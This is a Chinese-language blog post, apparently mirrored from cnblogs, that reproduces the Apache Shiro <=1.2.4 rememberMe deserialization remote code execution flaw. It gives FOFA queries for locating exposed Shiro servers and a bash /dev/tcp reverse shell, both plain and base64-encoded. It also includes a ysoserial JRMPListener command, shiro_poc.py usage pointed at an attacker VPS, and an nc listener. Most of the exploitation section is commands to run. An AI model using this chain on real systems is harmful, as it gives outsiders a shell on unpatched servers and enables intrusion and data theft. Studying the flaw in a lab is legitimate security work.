zoukankan      html  css  js  c++  java
  • Shiro反序列化<=1.2.4 复现

    Apache Shiro是一个Java安全框架,执行身份验证、授权、密码和会话管理。   

    shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:得到rememberMe的cookie值–>Base64解码–>AES解密–>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。该漏洞对shiro<=1.2.4的版本有影响。

    环境搭建

    https://github.com/vulhub/vulhub    docker环境

    也可以在搜索引擎中找

    FOFA

    header="rememberme=deleteMe"、header="shiroCookie"

    环境搭建难点

    Shiro利用maven编译有很多坑点,鉴于过于痛苦,我列出主要坑点

    1.机器需要安装mvn、svn命令

    2.jdk建议为1.6

    3.maven版本最好为3.1.1

    一键检测工具

    https://github.com/sv3nbeast/ShiroScan

    漏洞复现

    需要2个利用漏洞工具加密

    一个是shiro_poc.py   ,用于得到rememberMe

    一个是maven,  用于加密监听执行命令

    1.https://mp.weixin.qq.com/s/KkWL9SftCZSdkglW39Qw0Q

    制作反弹shell 代码

    使用http://www.jackson-t.ca/runtime-exec-payloads.html 进行编码

    bash -I >& /dev/tcp ip/端口 0>&1

    2.使用ysoserial中JRMP监听模块,监听6666端口 (不同字体就是上面编码后的命令)(注意标黄的位置,是工具名称,注意适时更换)

    攻击机中执行命令:

    java -cp ysoserial.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'bash -c {echo,YmFzaCAtSSA+JiAvZGV2L3RjcCBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}'

    如果没用ysoserial,可安装到shiro.py同目录

    或者利用ysoserial进行编码

    git clone https://github.com/frohoff/ysoserial.git

    cd ysoserial

    mvn package -DskipTests

    cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

    3.新建窗口,生成rememberme,  自己vps的ip,6666是上面ysoserial监听的端口    

    python shiro_poc.py vpsip:6666    得到rememberme  (注意这个rememberme是一次性的)

    4.新建窗口,监听端口

    nc -lvnp  端口  (端口是第1步反弹shell的端口,不是6666端口)

    5..复制rememberMe到数据包,发送

    返回200,有些环境会返回302

    注意:删除session和空格

    6.返回shell

    文笔菜, 技术也菜 ,有什么问题可以留言,虽然我不会看。。。。

  • 相关阅读:
    《1024伐木累》-小白篇之月侠-总章节五
    《1024伐木累-周末特别篇》-中彩票了,开发APP
    《1024伐木累》-有话直说,蛋疼~
    《1024伐木累》- 老王请客吃晚饭,介绍对象
    《1024伐木累》-小白篇之丽姐(前篇)-总章节四
    程序员最值得听的歌曲TOP10
    《1024伐木累》-职位不分贵贱,没房子怎么乐
    偶是一只别人眼里的程序猿
    《1024伐木累》-写代码写的娘炮了
    《1024伐木累》-小白篇之加班(结束篇)-总章节三
  • 原文地址:https://www.cnblogs.com/null1433/p/12671418.html
Copyright © 2011-2022 走看看